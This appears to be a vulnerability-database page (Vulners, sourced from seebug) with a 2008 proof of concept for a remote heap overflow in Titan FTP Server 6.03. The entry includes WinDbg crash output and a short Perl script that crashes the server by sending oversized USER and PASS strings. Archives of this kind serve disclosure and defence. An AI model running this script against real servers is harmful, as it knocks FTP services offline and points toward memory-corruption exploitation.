Lucene search
K

Titan FTP Server 6.03 (USER/PASS) Remote Heap Overflow PoC

🗓️ 03 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

Titan FTP Server 6.03 Remote Heap Overflow Po

Code

                                                #Titan FTP SERVER REMOTE HEAP OVERFLOW(USER/PASS)
#Impact : Critical
#
# Windbg Output:
#(bec.528): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=41414141 ebx=00000000 ecx=07e415f4 edx=00000000 esi=41414141 edi=07e415f4
#eip=004bbafa esp=06e4fb38 ebp=06e4fb5c iopl=0         nv up ei pl nz na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
#srxTitan+0xbbafa:
#004bbafa 8930             mov     [eax],esi         ds:0023:41414141=????????
#
# When reconnecting :
#
#(bec.c60): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=004bb991 ebx=00000000 ecx=41414141 edx=0129e4e8 esi=0129e4d4 edi=41414141
#eip=004bb977 esp=0714fe7c ebp=0714fe9c iopl=0         nv up ei pl zr na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
#srxTitan+0xbb977:
#004bb977 8b01             mov     eax,[ecx]         ds:0023:41414141=????????
# 
# Server crash after reconnecting. 
# 
#Here's the Poc
use Net::FTP;
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "A" x 4096;
my $pass = "A" x 22000;
print "Trying to connect to :$target...\n"; 
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";
print "Connected!\n";
$ftp->login($user, $pass); 
print "Poc Successfull\n";
$ftp->quit; 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation